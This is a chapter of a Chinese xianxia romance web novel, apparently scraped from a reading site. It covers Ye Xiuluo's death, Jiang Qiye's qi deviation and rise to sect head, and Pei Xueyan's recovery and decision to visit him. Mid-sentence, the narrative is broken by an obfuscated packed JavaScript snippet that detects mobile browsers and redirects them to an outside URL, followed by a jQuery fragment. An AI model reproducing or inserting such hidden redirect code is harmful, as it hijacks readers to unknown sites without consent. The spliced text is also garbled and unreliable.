叶修罗说着话又是一阵咳嗽。
“师父,师父!”
“如今,那小子把修为都给了你,你以后不需要受折磨了。你,要,好好帮助你师姐......”
说完这句话,叶修罗的头轻轻一歪,便再也没了气力。
她想起姜婆婆偶尔提起过,师父的武功路子极为毒辣,是以损伤女子身体为根本的,无法长久。
纵然能维持美貌到三十岁,可一旦过了年纪,若不及时清除,必会遭到功法反噬。
她万万没有想到,师父竟会将这样阴毒的功夫,传给了自己。
是啊,旁人被传必然会奋力挣扎,她是徒弟,不仅心甘情愿,还会照顾师父感受。
裴雪嫣眼泪流的更凶。
满心的委屈、悲痛交织在一起,这样的真相,她该难受,还是哭呢?
却说不出口。
就在这混乱之际,青宗门的弟子们看到天际那刺眼的白光,早已纷纷赶了过来,将大殿围得水泄不通。
妄彧真人挣扎着从地上爬起来,浑身虚脱,却依旧强撑着站直了身子,对着众弟子沉声道:“我今后要闭关数年,之后青宗门的掌门之位,暂时交给江栖夜,日后若有人不从,他可全权处置,无需禀报!”
说完,妄彧真人俯身,一把抱起地上昏迷的叶修罗,纵身一跃,从房顶的窟窿中飞了出去,转瞬便消失在了天际。
裴雪嫣望着师父离去的方向,心中一阵剧痛,再也支撑不住,眼前一黑,也跟着晕了过去。
师兄弟们看到“夫妻”二人双双晕死过去,昏迷在地。
师尊和叶修罗也不知所踪,悬镜也没回来。
大殿之内一片狼藉,青宗门的弟子们面面相觑,一时竟不知该如何是好。
关键时刻,青宗门内还算有威望的陵川师兄站了出来,沉声道:“大家莫要慌乱!先分头行动。”
他开始安排。
“一部分人去修缮大殿破损的房屋、打理庭院花草;你们三个,即刻去怡水山庄通知周闻见姑娘,让她来带走裴姑娘;剩下的人,随我来,先将掌门抬去天河殿静养!”
指令一出,众弟子纷纷应声行动,混乱的场面总算有了秩序。
另一边,周闻见早已听闻师父来到青宗门决一死战,心急如焚地赶在路上。
她马不停蹄地赶到青宗门,听闻青宗门的弟子把原委说了说,没再多问,带着裴雪嫣离开会到庄子。
裴雪嫣的伤势虽重,却也并非难治。
江栖夜渡给她的修为浑厚,只要悉心调理、静心休养运功,假以时日便能恢复。
真正凶险的,是江栖夜。
他本是凡人之躯,却被妄彧真人和叶修罗两位大能的全力修为强行灌入体内。
一阴一阳两股截然不同的力道,在他经脉之中激烈碰撞、纠缠,无法相融,导致他走火入魔。
江栖夜昏睡了整整十天,才终于睁开眼。
并非安然苏醒,而是被体内翻涌不息的强大气流折磨得痛不欲生,硬生生挣扎着睁开了眼。
醒来后的他,早已不复往日那副翩翩公子的模样。
长发披散凌乱,双眼赤红如血,布满了血丝,眼底翻涌着失控的暴戾与痛苦。
他像是失了心智一般,在天河殿内疯狂嘶吼、冲撞,周身不自觉溢出的灵力,随手一挥,便能将身边的桌椅板凳震得粉碎。
叶修罗的武功实在阴毒,师尊的武功奇特刚硬,把他折磨的生不如死。
即便已然走火入魔,残存的理智却仍在,看到围上来的师兄弟,只是推搡,却始终控制忍着没有真正下狠手伤人。
体内的两股力道太过霸道,他根本无法控制。
每每压制不住那毁天灭地的冲动时,江栖夜便会纵身飞出天河殿,直奔宗门后山的无人之处。
到了山中,他便再也无需克制,将体内翻涌的神功尽数宣泄而出。
不过短短几日,那座原本高高的汕头,竟被他一次次失控的力量硬生生削平,山体崩塌,碎石遍布,景象骇人至极。
起初,江栖夜对体内这两股水火不容的力道全然无从下手,每一次发作都痛得几乎晕厥。
可他自幼修行,忍耐力远超常人。
从最初发作时只能强撑一刻钟,到后来慢慢能咬牙坚持一炷香的功夫。
慢慢开始尝试强行压制体内的魔力,试图套用从前修炼的玄修心法,一点点引导、梳理那两股混乱的力道。
随着压制的时长越来越久,他的意识也渐渐清醒了几分。
稍微清醒了意识才知道,妄彧师尊在离去前,已然将青宗门掌门之位传给了他。
江栖夜心里颇为感叹,一来是从未想过,自己会以这般惨烈的方式接过掌门之位,来得如此猝不及防。二来他清醒后细细内视体内的两股力道,心中渐渐有了明悟。
起初,师父与叶修罗的修为在他体内相互较量、争夺主导,可到了后来,师尊明显动用了某种强制性的废除之法,似乎是想将叶修罗那阴毒的法术从他体内彻底清除。
可一来二去,两人像是都失了分寸、上了头,竟在他的身体里展开了类似“吸星大法”的对决,相互牵引、相互吞噬,到最后,两人的修为尽数被他的身体被动吸纳。
江栖夜几乎可以断定,师尊对叶修罗,根本没有表面上那般深恶痛绝的恨意。
后来听到陵川师兄说,师尊最后是带着昏迷的叶修罗一同离去的,他心中的想法便更加笃定了。
他没了情根,彻底忘了裴雪嫣这个人。
似乎这段时间,记忆里只有叶修罗和师父。
并无其他人。
青宗门的弟子们更不会提及过往旧事,尤其是自他搬入天河殿后。
那处是掌门专属的居所,地处安静、人迹罕至,其他弟子连传闲话的机会都没有。
他依旧每日会陷入疯魔,走火入魔的症状从未停歇,体内的修为还在张牙舞爪的肆虐。
裴雪嫣在庄子里很担心他。
已经休养一个多月,身体好的差不多。
她开始担心他死掉,担心他真的变得残废,更牵挂着师父,想知道师父如今究竟在何处。
体内的修为,却越发难以掌控。
随着参悟日渐深入,她发现许多关窍若无人讲解点拨,根本无法理解透彻。
更何况,叶派的修为本就与青宗门并非同一路数,有时即便她拼尽全力,也难以将力量顺畅发挥出来。
眼下,裴雪嫣还在尝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789304|186998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
试凝丹,从溶丹消失到现在,好像连基础都没有。
这些传入的修为,犹如空中楼阁,永远无法利用。
修为的事只是在压制她内心的裂痕。
她一直都知道,师父对自己向来严格,待师姐也更为偏心。
可半年前,师父突然将修为传给她时,是真切的开心与欢喜。
那时她还以为,从前师父所有的严厉,都是源于对自己的期许。
如今看来,原来都不是。
这个认知,让她难免有些心灰意冷。
她是真的喜欢怡水山庄,喜欢这里的每一个人。
从小在这里长大,早已将山庄当成了自己的家,当成了能安度一生、直至生老病死的归宿。
现在,她连该如何面对这片熟悉的土地,都有些茫然了。
师父被人带走,至今下落不明。
她还有太多疑问想问清楚,当初师父传给她那些被视作“阴毒”的武功,究竟只是一时之举,还是早有打算?
日后会不会帮她将这些隐患清除掉?
师父是从未想过让她只活到三十多岁就丧命,会多绝望,对不对?
她知道自己不该胡思乱想的。
周闻见看得出师妹心事重重,这次病好和以往都不一样,有些愁眉苦脸,挥之不去的愁绪。
两姐妹坐在山庄外的山坡上,师姐笑着说:“下个月的仙门大会,我们俩一起去参加好不好?你如今修为这么高,定能拿下前三甲,光耀怡水山庄。”
她兴致缺缺,轻声道:“师姐,这修为不是我的,是江栖夜的。”
“那又如何?既已在你身上,便算是你的了。”周闻见温声安慰,“你也别太担心江道长,我去青宗门时,亲眼见弟子们把他抬走了。如今没听到任何关于他出事的传闻,想来是已经好转了。”
“师姐,你为什么要告诉我他的事?我才不担心。”
周闻见笑了笑,语气坦然:“自然是知道你心里有他。整个仙门百家,谁不知道你们俩是夫妻?”
“我们不是了。他要销毁合婚贴。只是如今师父和他师尊都不在,这事恐怕又要拖上一段时间。”
周闻见抬手拍了拍她的肩膀,语气带着几分鼓励:“去吧。”
裴雪嫣一愣:“什么?”
“你不是想去看他吗?你可以去青宗门看看。若是他真的决意要和离,你们便当面说清楚,也好过这样断断续续地纠缠下去,彼此都不安心。”
师姐从未谈过恋爱,平日里性子又正派古板,没想到竟能这般通透地读懂她的心思。
裴雪嫣不愿将师父临终遗言告知于她。
师姐自然也不知,此刻她心底最深的痛楚,恰是此事。
可她还是准备去青宗门看看他。
最起码,在她身负重伤时,江栖夜还是撕心裂肺的喊着他的名字。
怎么能忘记呢?
怎么能不伤心呢?
无论是幻境中的三生,还是在失忆下重新和他相逢,成亲,桩桩件件,都在反复拨动着她的心弦。
只是记忆太过沉重,用情又太深,到最后,难免掺了几分怨怼。
裴雪嫣起了身,这次拿的行礼并不多,只有一把剑和那把匕首。